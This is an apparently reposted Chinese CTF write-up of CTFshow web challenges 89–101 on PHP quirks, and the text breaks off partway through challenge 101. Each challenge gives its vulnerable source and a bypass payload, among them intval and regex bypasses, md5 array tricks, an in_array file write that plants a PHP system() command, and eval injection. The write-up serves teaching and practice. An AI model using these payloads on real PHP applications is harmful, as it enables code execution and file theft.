CTFshow刷题日记-WEB-PHP特性(上篇89-115)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-PHP特性(上篇89-115)相关的知识,希望对你有一定的参考价值。

Part1

有关 intval() 函数的绕过技巧

web89

clude("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

能被intval认成数字,又不包括数字0-9

看了下intval函数,发现可以传数组

?num[1]=a&num[2]=b

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

关键是 intval($num,0)===4476 成立

int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。

$base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

如果字符串以 "0" 开始,使用 8 进制(octal);否则,

将使用 10 进制 (decimal)。

但是intval不止支持十进制,所以可以用其他进制绕过

?num=0x117c  //16进制

还可以用小数绕过

?num=4476.4

echo intval(4.2);                     // 4    

因为intval是取整函数,所以

echo intval(4476a)		// 4476

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

两个 if 判断差在了 preg_match 的比较模式是不是有 m,所以 m 是什么就一定要搞明白了

称为内联匹配模式,通常用内联匹配模式代替使用枚举值RegexOptions指定的全局匹配模式,写起来更简洁。起来更简洁。
  (?i) 表示所在位置右侧的表达式开启忽略大小写模式
  (?s) 表示所在位置右侧的表达式开启单行模式。
  更改句点字符 (.) 的含义,以使它与每个字符(而不是除 \\n 之外的所有字符)匹配。
  注意:(?s)通常在匹配有换行的文本时使用
  (?m) 表示所在位置右侧的表示式开启指定多行模式。
  更改 ^ 和 $ 的含义,以使它们分别与任何行的开头和结尾匹配,
  而不只是与整个字符串的开头和结尾匹配。
  注意:(?m)只有在正则表达式中涉及到多行的“^”和“$”的匹配时,才使用Multiline模式。
  上面的匹配模式可以组合使用,比如(?is),(?im)。
  另外,还可以用(?i:exp)或者(?i)exp(?-i)来指定匹配的有效范围。

.表示除\\n之外的任意字符
*表示匹配0-无穷
+表示匹配1-无穷

也就是可以通过换行绕过第二个判断

payload

?cmd=111%0aphp			//%0a就是表示换行

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

咋一看和web90是一个题但是变成了弱类型比较

之前的 4476a 此处就不适用了,因为

var_dump('4476a'==4476);
// 输出bool(true)

payload

可以用进制和小数绕过

?num=4476.6
?num=010574  //8进制    
?num=0x117c  //16进制     

还可以通过科学计数法e绕过

在url中输入的数据默认就是字符串类型

<?php
var_dump('4476e123'==4476);
var_dump(intval('4476e123'))
?>
    
// 输出
bool(false)	
//作为字符串类型进行弱类型比较现转换成数字4476e123科学计数法形式不等于数字4476
int(4476)  
//intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
  
/?num=4476e123

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这很明显过滤了字母,也就是十六进制和科学记数法不能使用了,还有八进制和小数可以用

?num=4476.6
?num=010574  //8进制   

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了个strpos函数

strpos — 查找字符串首次出现的位置
也就是说num中必须出现0,且0不能出现在第一位,因为如果出现在第一位则strpos返回00取反条件成立执行die
strpos() 函数对大小写敏感    

payload

?num=4476.0 
可以在八进制前边加空格
?num=  010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

加了过滤小数点,也就是小数格式无法使用

payload

?num= 010574

Part2

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

构造相对路径绕过弱类型比较

?u=./flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a不等于b,但是md5值强类型相等

数组类型绕过

post:a[]=1&b[]=2
因为数组经过md5函数返回null,两个null强类型相等    

如果是弱类型比较可以找,两个数md5都是0e开头的就行

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

分解

$_GET?$_GET=&$_POST:'flag';
也就是说GET获取的变量都要在POST位置提交
最终目的是
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
也就是中间的两个没啥用
直接get任意,再post:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

上边的for就是生成了一个有数字组成的数组,重点在这个in_array函数

in_array函数也是弱类型比较

<?php
$array = array(1, 2, 3, 4);
var_dump(in_array("1a.php",$array));
?>
    
// bool(true)    

payload

get:?n=1a.php
post:content=<?php system('cat flag36d.php');?>
写入1a.php访问,查看源码即可    

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\;/", $v2)){
        if(preg_match("/\\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

所以只要保证v1是数字v3有; 即可

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或者直接拿到ctfshow.php
?v1=1&v2=system('nl ctfshow.php')/*&v3=*/;

也可以用反射的方法

首先来学习一下反射

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    	echo "hello</br>";
	}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  //获取一组常量
输出
array(1) {
	["PI"]=>
	float(3.14)
}

var_dump($a->getName());    //获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

payload

直接输出 ctfshow 类即可,也就是构造出 
echo new ReflectionClass('ctfshow');
payload:
?v1=1&v2=echo new ReflectionClass&v3=;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow()以上是关于CTFshow刷题日记-WEB-PHP特性(上篇89-115)的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-文件包含

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-命令执行下55-77

CTFshow刷题日记-WEB-爆破

CTFshow刷题日记-WEB-反序列化篇(上,254-263)

CTFshow刷题日记-WEB-JWT(web345-350)